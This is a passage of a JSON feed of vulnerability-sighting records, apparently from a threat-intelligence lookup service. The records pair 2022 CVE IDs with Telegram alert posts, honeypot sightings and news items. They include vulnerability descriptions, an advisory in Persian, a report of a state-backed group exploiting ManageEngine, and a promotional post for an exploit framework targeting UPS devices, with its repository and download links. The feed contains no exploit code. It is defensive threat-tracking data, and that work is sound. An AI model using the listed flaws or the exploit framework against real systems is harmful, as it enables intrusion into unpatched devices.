https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=824d4f64c20093275f72fc8101394d75ff6a249e\n4. https://www.zerodayinitiative.com/advisories/ZDI-22-1689/\n5. http://www.openwall.com/lists/oss-security/2022/12/23/10", "creation_timestamp": "2025-04-15T03:54:27.000000Z"}, {"uuid": "80dd915d-d026-44d0-8438-d14abb5b0998", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47407", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12726", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47407\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AC:L/AV:N/A:N/C:L/I:L/PR:N/S:U/UI:N)\n\ud83d\udd39 Description: An issue was discovered in the fp_masterquiz (aka Master-Quiz) extension before 2.2.1, and 3.x before 3.5.1, for TYPO3. An attacker can continue the quiz of a different user. In doing so, the attacker can view that user's answers and modify those answers.\n\ud83d\udccf Published: 2022-12-14T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-21T18:59:40.712Z\n\ud83d\udd17 References:\n1. https://typo3.org/security/advisory/typo3-ext-sa-2022-018", "creation_timestamp": "2025-04-21T19:02:04.000000Z"}, {"uuid": "a591d195-0f3e-4db5-892a-93b4c5edf914", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47409", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12730", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47409\n\ud83d\udd25 CVSS Score: 9.1 (cvssV3_1, Vector: CVSS:3.1/AC:L/AV:N/A:N/C:H/I:H/PR:N/S:U/UI:N)\n\ud83d\udd39 Description: An issue was discovered in the fp_newsletter (aka Newsletter subscriber management) extension before 1.1.1, 1.2.0, 2.x before 2.1.2, 2.2.1 through 2.4.0, and 3.x before 3.2.6 for TYPO3. Attackers can unsubscribe everyone via a series of modified subscription UIDs in deleteAction operations.\n\ud83d\udccf Published: 2022-12-14T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-21T18:52:05.710Z\n\ud83d\udd17 References:\n1. https://typo3.org/security/advisory/typo3-ext-sa-2022-017", "creation_timestamp": "2025-04-21T19:02:11.000000Z"}, {"uuid": "7fcdfc3d-d809-4f40-be75-4db72211ce3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47635", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12109", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47635\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Wildix WMS 6 before 6.02.20221216, WMS 5 before 5.04.20221214, and WMS4 before 4.04.45396.23 allows Server-side request forgery (SSRF) via ZohoClient.php.\n\ud83d\udccf Published: 2022-12-21T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-16T17:50:27.117Z\n\ud83d\udd17 References:\n1. https://wildix.atlassian.net/wiki/spaces/DOC/pages/30279136/Changelogs", "creation_timestamp": "2025-04-16T17:56:37.000000Z"}, {"uuid": "689f37db-0e05-4e02-bfb7-8537ef532a6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47521", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/12310", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47521\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in the Linux kernel before 6.0.11. Missing validation of IEEE80211_P2P_ATTR_CHANNEL_LIST in drivers/net/wireless/microchip/wilc1000/cfg80211.c in the WILC1000 wireless driver can trigger a heap-based buffer overflow when parsing the operating channel attribute from Wi-Fi management frames.\n\ud83d\udccf Published: 2022-12-18T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-17T18:48:33.179Z\n\ud83d\udd17 References:\n1. https://lore.kernel.org/r/20221123153543.8568-4-philipturnbull%40github.com\n2. https://github.com/torvalds/linux/commit/f9b62f9843c7b0afdaecabbcebf1dbba18599408\n3. https://lists.debian.org/debian-lts-announce/2022/12/msg00031.html\n4. https://security.netapp.com/advisory/ntap-20230113-0007/", "creation_timestamp": "2025-04-17T18:57:47.000000Z"}, {"uuid": "8f647c44-ab09-41e6-8ad6-a021f18d5d2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47208", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12302", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47208\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The \u201cpuhttpsniff\u201d service, which runs by default, is susceptible to command injection due to improperly sanitized user input. An unauthenticated attacker on the same network segment as the router can execute arbitrary commands on the device without authentication.\n\ud83d\udccf Published: 2022-12-16T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-17T17:31:53.707Z\n\ud83d\udd17 References:\n1. https://www.tenable.com/security/research/tra-2022-37", "creation_timestamp": "2025-04-17T17:57:37.000000Z"}, {"uuid": "3001940c-a6bb-4e57-83e6-6c5de64d472f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-28)", "content": "", "creation_timestamp": "2026-04-28T00:00:00.000000Z"}, {"uuid": "f9e3048b-5173-4cc4-a5ca-a26cf3485ac3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47112", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/12596", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47112\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: 7-Zip through 24.09 does not report an error for certain invalid xz files, involving stream flags and reserved bits.\n\ud83d\udccf Published: 2025-04-19T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-19T20:54:15.597Z\n\ud83d\udd17 References:\n1. https://github.com/boofish/semantic-bugs/", "creation_timestamp": "2025-04-19T20:59:58.000000Z"}, {"uuid": "9b83389a-6aef-42a4-9357-d196b14154b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47111", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/12595", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47111\n\ud83d\udd25 CVSS Score: 2.5 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N)\n\ud83d\udd39 Description: 7-Zip through 24.09 does not report an error for certain invalid xz files, involving block flags and reserved bits.\n\ud83d\udccf Published: 2025-04-19T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-19T20:56:02.896Z\n\ud83d\udd17 References:\n1. https://github.com/boofish/semantic-bugs/", "creation_timestamp": "2025-04-19T20:59:57.000000Z"}, {"uuid": "a22b199e-2c7e-4da4-bab7-d22af0ad65bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47615", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-28)", "content": "", "creation_timestamp": "2026-04-28T00:00:00.000000Z"}, {"uuid": "48a7fdf8-436e-4340-9c46-7433c02af8fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-28)", "content": "", "creation_timestamp": "2026-04-28T00:00:00.000000Z"}, {"uuid": "5cd68db1-34d1-4254-a4b6-c4a0e01139f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47411", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12732", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47411\n\ud83d\udd25 CVSS Score: 9.1 (cvssV3_1, Vector: CVSS:3.1/AC:L/AV:N/A:N/C:H/I:H/PR:N/S:U/UI:N)\n\ud83d\udd39 Description: An issue was discovered in the fp_newsletter (aka Newsletter subscriber management) extension before 1.1.1, 1.2.0, 2.x before 2.1.2, 2.2.1 through 2.4.0, and 3.x before 3.2.6 for TYPO3. Data about subscribers may be obtained via unsubscribeAction operations.\n\ud83d\udccf Published: 2022-12-14T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-21T18:48:59.134Z\n\ud83d\udd17 References:\n1. https://typo3.org/security/advisory/typo3-ext-sa-2022-017", "creation_timestamp": "2025-04-21T19:02:13.000000Z"}, {"uuid": "15a52b31-0fb7-45a3-9ec2-6146603e4d4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47408", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12729", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47408\n\ud83d\udd25 CVSS Score: 9.1 (cvssV3_1, Vector: CVSS:3.1/AC:L/AV:N/A:N/C:H/I:H/PR:N/S:U/UI:N)\n\ud83d\udd39 Description: An issue was discovered in the fp_newsletter (aka Newsletter subscriber management) extension before 1.1.1, 1.2.0, 2.x before 2.1.2, 2.2.1 through 2.4.0, and 3.x before 3.2.6 for TYPO3. There is a CAPTCHA bypass that can lead to subscribing many people.\n\ud83d\udccf Published: 2022-12-14T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-21T18:57:29.737Z\n\ud83d\udd17 References:\n1. https://typo3.org/security/advisory/typo3-ext-sa-2022-017", "creation_timestamp": "2025-04-21T19:02:07.000000Z"}, {"uuid": "4270d1d3-b435-484d-8975-17d68e05093c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47410", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12731", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47410\n\ud83d\udd25 CVSS Score: 9.1 (cvssV3_1, Vector: CVSS:3.1/AC:L/AV:N/A:N/C:H/I:H/PR:N/S:U/UI:N)\n\ud83d\udd39 Description: An issue was discovered in the fp_newsletter (aka Newsletter subscriber management) extension before 1.1.1, 1.2.0, 2.x before 2.1.2, 2.2.1 through 2.4.0, and 3.x before 3.2.6 for TYPO3. Data about subscribers may be obtained via createAction operations.\n\ud83d\udccf Published: 2022-12-14T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-21T18:50:17.594Z\n\ud83d\udd17 References:\n1. https://typo3.org/security/advisory/typo3-ext-sa-2022-017", "creation_timestamp": "2025-04-21T19:02:12.000000Z"}, {"uuid": "570eff72-a083-4958-9867-743d5a1c1cf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4750", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/14912", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-4750\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The WP Responsive Testimonials Slider And Widget WordPress plugin through 1.5 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks\n\ud83d\udccf Published: 2023-02-21T08:50:45.322Z\n\ud83d\udccf Modified: 2025-05-05T16:11:18.172Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/7bdc1324-8d08-4185-971f-8d49367702cf", "creation_timestamp": "2025-05-05T16:20:05.000000Z"}, {"uuid": "e1faba3e-3788-4a2b-ba7b-648735cb1d4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4714", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/14911", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-4714\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The WP Dark Mode WordPress plugin before 4.0.0 does not validate and escape one of its shortcode attributes, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attack\n\ud83d\udccf Published: 2023-02-21T08:51:04.598Z\n\ud83d\udccf Modified: 2025-05-05T16:11:27.958Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/61b475f1-bbfb-4450-a3b2-b8caf5df2340", "creation_timestamp": "2025-05-05T16:20:03.000000Z"}, {"uuid": "2562d071-b042-486c-989b-9fd2f125bd23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47560", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18745", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47560\n\ud83d\udd25 CVSS Score: 5.7 (cvssV3_1, Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: The lack of web request control on ekorCCP and ekorRCI devices allows a potential attacker to create custom requests to execute malicious actions when a user is logged in.\n\ud83d\udccf Published: 2023-09-20T07:52:33.173Z\n\ud83d\udccf Modified: 2025-06-18T14:27:40.985Z\n\ud83d\udd17 References:\n1. https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-ormazabal-products", "creation_timestamp": "2025-06-18T14:41:46.000000Z"}, {"uuid": "2428a9ce-3754-4d64-bd33-1df2a4338905", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47915", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18980", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47915\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The issue was addressed with improved memory handling. This issue is fixed in macOS Ventura 13. An app may be able to execute arbitrary code with kernel privileges.\n\ud83d\udccf Published: 2024-01-10T22:03:21.845Z\n\ud83d\udccf Modified: 2025-06-20T15:33:55.507Z\n\ud83d\udd17 References:\n1. https://support.apple.com/en-us/HT213488", "creation_timestamp": "2025-06-20T15:44:18.000000Z"}, {"uuid": "22f479ce-c5c9-4b28-ac09-e7b8cd8882e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47965", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18979", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47965\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The issue was addressed with improved memory handling. This issue is fixed in macOS Ventura 13. An app may be able to execute arbitrary code with kernel privileges.\n\ud83d\udccf Published: 2024-01-10T22:03:10.131Z\n\ud83d\udccf Modified: 2025-06-20T15:34:44.546Z\n\ud83d\udd17 References:\n1. https://support.apple.com/en-us/HT213488", "creation_timestamp": "2025-06-20T15:44:17.000000Z"}, {"uuid": "33b9e0f5-f34f-4b8c-9086-edba59b87348", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47504", "type": "published-proof-of-concept", "source": "https://t.me/cKure/11847", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 From Hexacon 2023 - A Demonstration of CVE-2022-47504: An RCE in SolarWinds NPM.\n\nhttps://youtu.be/ZcOZNAmKR0c", "creation_timestamp": "2023-10-27T21:01:42.000000Z"}, {"uuid": "35bda2d1-5b39-476a-8fd0-b1a58ad3c3de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "Telegram/uoTeqCA2N_y32-_6_00KPM0JMqwUCQaUGgxkpq735FI1pw", "content": "", "creation_timestamp": "2025-08-08T18:21:56.000000Z"}, {"uuid": "c99e3da1-0534-4327-99fc-c089726e51a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47967", "type": "published-proof-of-concept", "source": "https://t.me/ics_cert/702", "content": "\u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647 \u067e\u06cc\u0648\u0646\u062f \u067e\u0648\u06cc\u0627 docmgmt.dll \u06a9\u06cc\u062a \u0627\u0628\u0632\u0627\u0631 \u0637\u0631\u0627\u062d\u06cc \u0648 \u0634\u0628\u06cc\u0647\u200c\u0633\u0627\u0632\u06ccSolid Edge \u0632\u06cc\u0645\u0646\u0633 \u0628\u0647 \u062a\u0648\u0627\u0646\u0627\u06cc\u06cc \u0646\u0648\u0634\u062a\u0646 \u062e\u0627\u0631\u062c \u0627\u0632 \u0645\u0631\u0632\u0647\u0627\u06cc \u0628\u0627\u0641\u0631 \u062d\u0627\u0641\u0638\u0647 \u0647\u0646\u06af\u0627\u0645 \u062a\u062c\u0632\u06cc\u0647 \u0641\u0627\u06cc\u0644\u200c\u0647\u0627\u06cc PAR\u060c ASM \u0648 DFT \u0645\u0631\u0628\u0648\u0637 \u0645\u06cc\u200c\u0634\u0648\u062f.  \u0628\u0647\u0631\u0647 \u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u062f \u062a\u0627 \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f\n\n BDU: 2023-00396\n CVE-2022-47967\n\n \u0628\u0647 \u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0647\u0627 \u0631\u0627 \u0627\u0632 \u0645\u0646\u0627\u0628\u0639 \u0642\u0627\u0628\u0644 \u0627\u0639\u062a\u0645\u0627\u062f \u0646\u0635\u0628 \u06a9\u0646\u06cc\u062f.\n \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0634\u0631\u0627\u06cc\u0637 \u0641\u0639\u0644\u06cc \u0648 \u062a\u062d\u0631\u06cc\u0645 \u0647\u0627\u06cc \u0627\u0639\u0645\u0627\u0644 \u0634\u062f\u0647\u060c \u0646\u0635\u0628 \u0628\u0647 \u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0647\u0627\u06cc \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631\u06cc \u062a\u0646\u0647\u0627 \u067e\u0633 \u0627\u0632 \u0627\u0631\u0632\u06cc\u0627\u0628\u06cc \u062a\u0645\u0627\u0645 \u062e\u0637\u0631\u0627\u062a \u0645\u0631\u062a\u0628\u0637 \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc \u0634\u0648\u062f.\n\n \u0627\u0642\u062f\u0627\u0645\u0627\u062a \u062c\u0628\u0631\u0627\u0646\u06cc:\n - \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631 \u0622\u0646\u062a\u06cc \u0648\u06cc\u0631\u0648\u0633 \u0628\u0631\u0627\u06cc \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644 \u0641\u0627\u06cc\u0644 \u0647\u0627\u06cc \u067e\u0631\u0648\u0698\u0647 \u062f\u0627\u0646\u0644\u0648\u062f \u0634\u062f\u0647.\n - \u0645\u062d\u062f\u0648\u062f\u06cc\u062a \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631 \u0627\u0632 \u0634\u0628\u06a9\u0647 \u0647\u0627\u06cc \u062e\u0627\u0631\u062c\u06cc (\u0627\u06cc\u0646\u062a\u0631\u0646\u062a)\u061b\n - \u062a\u0642\u0633\u06cc\u0645 \u0628\u0646\u062f\u06cc \u0634\u0628\u06a9\u0647 \u0628\u0647 \u0645\u0646\u0638\u0648\u0631 \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u0627\u0645\u06a9\u0627\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631\u0647\u0627\u06cc \u0635\u0646\u0639\u062a\u06cc.\n\n \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062a\u0648\u0635\u06cc\u0647 \u0647\u0627:\n https://cert-portal.siemens.com/productcert/pdf/ssa-997779.pdf\n\n\ud83d\udc6e\u200d\u2640\ufe0f\ud83d\udc6e\u200d\u2640\ufe0f \u0628\u0627\u0632\u0646\u0634\u0631 \u0645\u0637\u0627\u0644\u0628 \u0627\u06cc\u0646 \u06a9\u0627\u0646\u0627\u0644 \u0635\u0631\u0641\u0627 \u0628\u0627 \u0630\u06a9\u0631 \u0645\u0646\u0628\u0639 \u0648 \u0622\u062f\u0631\u0633 \u06a9\u0627\u0645\u0644 \u06a9\u0627\u0646\u0627\u0644 \u0645\u062c\u0627\u0632 \u0645\u06cc\u0628\u0627\u0634\u062f.\n\n\ud83c\udfed\u0648\u0628\u0633\u0627\u06cc\u062a \u0648 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n\n\u0627\u062f\u0645\u06cc\u0646:\nhttps://t.me/pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert\n\u062a\u0648\u06cc\u06cc\u062a\u0631:\nhttps://twitter.com/icscerti", "creation_timestamp": "2023-02-11T16:50:54.000000Z"}, {"uuid": "0699c615-03ce-4877-a92d-538b0bb04f07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "https://t.me/BleepingComputer/17910", "content": "Latest news and stories from BleepingComputer.com\nHackers use public ManageEngine exploit to breach internet org\n\nThe North Korean state-backed hacker group tracked as Lazarus has been exploiting a critical vulnerability (CVE-2022-47966) in Zoho's ManageEngine ServiceDesk\u00a0to compromise an internet backbone infrastructure provider and healthcare organizations. [...]", "creation_timestamp": "2023-08-24T14:26:02.000000Z"}, {"uuid": "683f008e-39e4-40b7-8f3f-e8de6e389a3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47187", "type": "published-proof-of-concept", "source": "https://t.me/ETHICALHACKERSCOMMUNITY2/2163", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2023-03-06T18:07:35.000000Z"}, {"uuid": "e6d393db-f451-437b-88c3-66f9673f080b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47893", "type": "published-proof-of-concept", "source": "https://t.me/ETHICALHACKERSCOMMUNITY2/2163", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2023-03-06T18:07:35.000000Z"}, {"uuid": 